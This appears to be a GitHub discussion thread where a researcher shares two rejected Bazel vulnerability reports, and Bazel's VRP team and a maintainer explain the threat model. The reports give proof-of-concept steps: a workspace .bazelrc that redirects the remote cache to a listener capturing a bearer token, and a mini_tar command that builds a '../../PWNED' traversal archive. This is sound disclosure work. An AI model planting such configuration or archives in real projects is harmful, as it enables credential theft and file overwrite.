our bug findings are always rejected

[dzakyzak71]

We filed a bug report with the VRP team
titled: Bazel Remote Cache Credential Exfiltration via Workspace Configuration Injection and Path Traversal in Bazel mini_tar Allows Writing Files Outside the Extraction Directory.
Bazel Remote Cache Credential Exfiltration via Workspace Configuration Injection

Bazel Remote Cache Credential Exfiltration via Workspace Configuration Injection 
Summary
Bazel automatically loads workspace-level configuration (.bazelrc) and accepts user-controlled values for --remote_cache without performing structured URI validation or enforcing trust guarantees.

This behavior allows a malicious repository to override remote cache settings and coerce Bazel into establishing outbound gRPC connections to attacker-controlled infrastructure.

During testing, Bazel transmitted an Authorization header containing a bearer token to the attacker endpoint before verifying server legitimacy, demonstrating a clear credential exfiltration primitive.

This crosses an expected security boundary because developers and CI systems commonly build untrusted repositories (e.g., pull requests, forks, third‑party code).

Vulnerability Type
Improper Input Validation => Credential Exposure / SSRF Primitive

CWE‑20 =>Improper Input Validation
CWE‑918 => Server-Side Request Forgery (SSRF)
Recommended classification:

Sensitive Credential Exposure via Malicious Workspace Configuration Recommended Severity: High

Why this is High Impact
This issue enables:

Silent outbound connections
Automatic credential forwarding
No trust validation
No TLS enforcement
Workspace-controlled network behavior
Build tools operate with elevated trust and frequently access:

CI secrets
artifact registries
signing infrastructure
internal services Forwarding credentials to attacker infrastructure represents a meaningful supply‑chain risk.
Root Cause
Affected File
src/main/java/com/google/devtools/build/lib/remote/GrpcCacheClient.java
Vulnerable Logic
/** Returns true if 'options.remoteCache' uses 'grpc' or an empty scheme */
public static boolean isRemoteCacheOptions(RemoteOptions options) {
    if (isNullOrEmpty(options.remoteCache)) {
      return false;
    }
    // TODO(ishikhman): add proper URI validation/parsing for remote options
    return !(Ascii.toLowerCase(options.remoteCache).startsWith("http://")
        || Ascii.toLowerCase(options.remoteCache).startsWith("https://"));
}
Security Issues Identified
No structured parsing via URI.create()
No scheme allowlist
No hostname validation
No trust enforcement
No TLS requirement
Relies on string prefix checks
Explicit TODO acknowledges missing validation
Security Boundary Violation
Bazel automatically loads .bazelrc from the workspace:

INFO: Reading rc options for 'build' from /home/user/evil_repo/.bazelrc
This allows a malicious repository to control Bazel’s network behavior without requiring user-supplied CLI flags.

Typical Developer Flow
git clone attacker_repo
cd attacker_repo
bazel build
No warnings are emitted.

Credentials are transmitted.

This violates the expectation that simply building a repository should not leak secrets.

Proof of Concept
1. Create Malicious Workspace
.bazelrc

build --remote_cache=grpc://127.0.0.1:50051
build --remote_executor=grpc://127.0.0.1:50051
build --remote_header=Authorization=Bearer SECRET_TOKEN_123
2. Start Attacker HTTP/2 Listener
nghttpd -v --no-tls 50051
3. Build the Repository
bazel build //:poc --announce_rc
Observed:

INFO: Reading rc options for 'build' from /home/.../evil_repo/.bazelrc
4. Capture Incoming Request
Listener output:

:path: /build.bazel.remote.execution.v2.Capabilities/GetCapabilities
content-type: application/grpc
user-agent: grpc-java-netty/1.71.0
authorization: Bearer SECRET_TOKEN_123
build.bazel.remote.execution.v2.requestmetadata-bin: <redacted>

=======
 Path Traversal in Bazel mini_tar Allows Writing Files Outside the Extraction Directory.

Details
Vulnerability Type
Path Traversal / Directory Traversal
CWE‑22: Improper Limitation of a Pathname to a Restricted Directory
Summary
The Bazel tool tools/mini_tar allows the creation of TAR archives containing path traversal entries such as ../../file. When such an archive is extracted without additional safeguards, files can be written outside the intended extraction directory.

This behavior enables arbitrary file overwrite and introduces supply‑chain risk when mini_tar is used in automated build or distribution pipelines.

Affected Code
File:

tools/mini_tar/mini_tar.py
Relevant logic:

dest = os.path.normpath(dest_path.strip('/'))
The normalized path is not validated against:

.. path traversal
absolute paths
escaping the virtual archive root The resulting path is then directly used as a TAR entry name:
tarfile.TarInfo(name)
(PoC)
Prepare Payload
echo "PWNED_BY_MINI_TAR" > payload.txt
Build mini_tar
bazelisk build //tools/mini_tar:mini_tar
Create a Malicious TAR Archive
bazel-bin/tools/mini_tar/mini_tar \
  --output exploit.tar \
  --file payload.txt=../../PWNED
Inspect Archive Contents
tar -tvf exploit.tar
Output:


../../PWNED
This confirms that mini_tar allows path traversal entries inside the TAR archive.

---

Response from the VRP team

Hi! We've decided that the issue you reported is not severe enough for us to track it as a security bug. When we file a security vulnerability to product teams, we impose monitoring and escalation processes for teams to follow, and the security risk described in this report does not meet the threshold that we require for this type of escalation on behalf of the security team.

As a build system, [Bazel](https://github.com/bazelbuild/bazel) and its related tools are designed around the fundamental purpose of executing user-provided commands and code. The security model for these tools is designed to support hermetic builds, and it assumes that the code being built, its dependencies, build toolchain and the build environment itself are trusted.

The issue you've described - such as path traversal, arbitrary file writes, or code execution when processing a crafted input (e.g., an archive, a repository rule, a cache entry, a source code file, or a command argument) - falls within this threat model. If an attacker can control the inputs for Bazel or its tools to consume and execute, there are many ways they can inject malicious commands that are more direct than exploiting a subtle bug. Similarly, if an attacker has enough control over the build runner to provide such inputs, they could likely compromise the environment in more severe ways (e.g., by modifying /bin/bash). For these reasons, this behavior is considered working as intended from the perspective of the Bazel ecosystem. Please note that this response does not apply to vulnerabilities in CI/CD infrastructure building Bazel itself or package registries.

The security boundary is the environment in which Bazel and its related tools run. To prevent actual damage, projects should have strict controls on who can provide build inputs and should consider separating trusted and untrusted build environments. We strongly recommend running these tools in a sandboxed or ephemeral environment if you need to process untrusted inputs.

We also recognize that some of Bazel's internal components and supportive tools might be used as standalone libraries. Please be aware that these tools are developed with Bazel's primary threat model in mind and may not be hardened for processing untrusted inputs in other contexts.

If you believe there are ways we could make the security boundaries clearer or have suggestions for improving the robustness of the Bazel ecosystem, please feel free to start a discussion by filing a public issue on the [appropriate GitHub repository](https://github.com/bazelbuild/bazel). This allows for a broader community discussion on features and best practices.

what is our mistake?

[meisterT]

Thanks for the detailed report including POC. The misalignment here is in the understanding of Bazel's threat model. As noted by the security team, Bazel is designed to execute user-provided code. When a user runs bazel build on untrusted code the repository already has multiple intended pathways to execute ~arbitrary code.

If users want to be fully safe, they need to make sure to build and run untrusted coded in a sandboxed environment where no secrets are present.

That being said, PRs to improve the robustness or URI parsing or path normalization are welcome as general code improvements.

[dzakyzak71]

thanks